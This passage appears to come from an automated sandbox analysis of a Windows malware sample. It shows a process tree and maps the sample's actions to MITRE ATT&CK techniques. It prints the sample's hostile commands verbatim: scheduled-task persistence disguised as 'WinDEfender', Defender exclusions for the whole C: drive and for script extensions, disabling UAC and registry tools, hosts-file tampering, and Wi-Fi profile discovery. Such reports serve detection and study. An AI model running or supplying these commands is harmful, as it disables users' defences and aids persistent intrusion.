    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WinDEfender" /tr "C:\Users\Admin\AppData\Roaming\files\main.exe" /sc minute /mo 1 /f"
    3⤵
    PID:5092
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WinDEfender" /tr "C:\Users\Admin\AppData\Roaming\files\main.exe" /sc minute /mo 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    PID:1748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
    3⤵
    PID:472
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\drivers\etc\hosts
    3⤵
    PID:4688
  - - C:\Windows\system32\takeown.exe
      takeown /f C:\Windows\System32\drivers\etc\hosts
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '.py'"
    3⤵
    PID:1840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath '.py'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5112
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - Modifies registry key
    PID:2644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f
    3⤵
    PID:2600
  - - C:\Windows\system32\reg.exe
      reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f
      4⤵
      Modifies registry key
      PID:2276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
    3⤵
    PID:400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
    3⤵
    PID:4472
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1788
- - C:\Windows\system32\diskpart.exe
    diskpart
    3⤵
    PID:3268
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:1288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
    3⤵
    PID:3280
  - - C:\Windows\system32\icacls.exe
      icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "echo %COMPUTERNAME%"
    3⤵
    PID:4028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c attrib +h C:\Windows\System32\drivers\etc\hosts
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2956
  - - C:\Windows\system32\attrib.exe
      attrib +h C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:2868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "echo %USERNAME%"
    3⤵
    PID:4220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1504
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show interfaces"
    3⤵
    PID:5012
  - - C:\Windows\system32\netsh.exe
      netsh wlan show interfaces
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:3248

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4848

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:1452

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Safe Mode Boot

T1562.009

Modify Registry